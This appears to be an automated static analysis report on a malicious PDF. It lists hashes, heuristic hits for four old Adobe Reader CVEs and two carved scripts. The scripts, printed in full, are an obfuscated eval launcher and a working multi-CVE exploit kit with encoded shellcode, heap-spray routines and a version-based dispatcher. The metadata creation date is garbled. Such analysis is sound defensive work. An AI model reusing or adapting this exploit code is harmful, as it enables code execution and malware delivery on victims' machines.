Malicious PDF — malware analysis report

Static analysis result for SHA-256 85b2551f32b0ea46…

MALICIOUS

PDF

29.0 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 960f2d6124486d2dd37c74ab9dcec34a SHA-1: 4b47c7b32a8d5edcdb7e22f852687e6bd3f04e4c SHA-256: 85b2551f32b0ea46b5a0549529c9bb14cdeb72e43bee9f3d3b1fe782a165e112
516 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The JavaScript is designed to download and execute a second-stage payload, as indicated by the 'PDF_JS_EXPLOIT_CLUSTER' and 'PDF_ADOBE_READER_MULTI_CVE_JS_KIT' heuristic firings. The specific exploit stage is recovered and evaluated by the script.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 637 bytes
SHA-256: 240b9ae680fe37c3a7e7b3c504e982760538cd2499c756c552f6508683f8fd05
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
ibkl='';
var q2 = date.getFullYear()-2007;
xmnr='2011s'.replace(date.getFullYear(),'hi');
ldhkz=('.tit2011').replace(date.getFullYear(),'le');
Function('','kdgks=t'+xmnr+ldhkz)();
gcvff=('sub2011').replace(date.getFullYear(),'ject');
Function('','fvkvz=t'+xmnr+'.'+gcvff)();
var fvkvz=fvkvz.replace(date.getFullYear(),'al');
Function('','knyj=t'+xmnr+'.'+fvkvz)();
akk='.pro2011cer';
akk=knyj('akk.replace(date.getFullYear(),"du")');
Function('','uolh=t'+xmnr+akk)();
uuzk=knyj(uolh);
pgg = knyj(kdgks);
for (i = 0; i < pgg.length; i++) {
	wbdbh = pgg[i];
	ibkl += uuzk(wbdbh);
}
knyj(ibkl);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title year-arithmetic JavaScript at offset 0x34C 3630 bytes
SHA-256: 19017cfe87052c3d78897fef5e43cfda729ae1a470cf52c0182c08bc4d041ead
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u35b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%uca34%ue2aa%uc3fa%ue5e8%uffff%u23ff%ucbc6%ucaca%u4b94%u9626%ucacb%u43ca%u472d%uda85%ua547%ufb9e%u9d11%u999b%u9999%u9999%u9999%u999f%ua299%ucbce%ucaca%u9c9f%ua299%ua4a5%ucaca%ubfa2%ua6b8%u9ea7%u44a2%uc484%u2226%uca82%ucaca%u229a%ucab6%ucaca%u1a35%u0e49%ua2c2%u2585%ucf85%u229a%ucaa6%ucaca%u1a35%u0a4f%uddbf%u9ea0%u3993%ua260%u34b8%udc79%ud722%ucaca%u9aca%u9b22%ucaca%u35ca%u991a%u34a0%u43a2%ucba5%u2277%ucac2%ucaca%u229a%ucaf6%ucaca%u1a35%ufbaa%uae0a%u9a41%u41fa%uc698%u9841%u41de%ue2b8%ud273%ucaca%ufbca%ufb35%u660a%uabf6%uc8b6%ueae6%u050b%ucbc7%u280d%u4b3a%u9135%u8076%u41a0%uda88%ud841%u13bf%u8e43%ud6ee%u09ab%u41aa%ueea6%u41ee%uf68f%u9e41%ub2cf%u20cb%u8041%u41d2%uea90%u21cb%ufe29%u4183%u41fe%u24cb%u35fb%u0afb%u6636%u0a4e%ucdbe%u050b%ucbc7%u210d%uf13e%ueeb6%ubfe2%u412b%uee90%u21cb%u41ac%u81c6%u9041%ucbd6%u4121%u41ce%u22cb%u8e43%ud6ee%u08ab%ucac2%u2522%u3534%ua235%ubebe%uf0ba%ue5e5%ua3f8%ua9e4%ue4b0%ua9a9%uaee5%ubae4%ubaa2%uacf5%ufff7%uecf2%uf7af%ucaf9';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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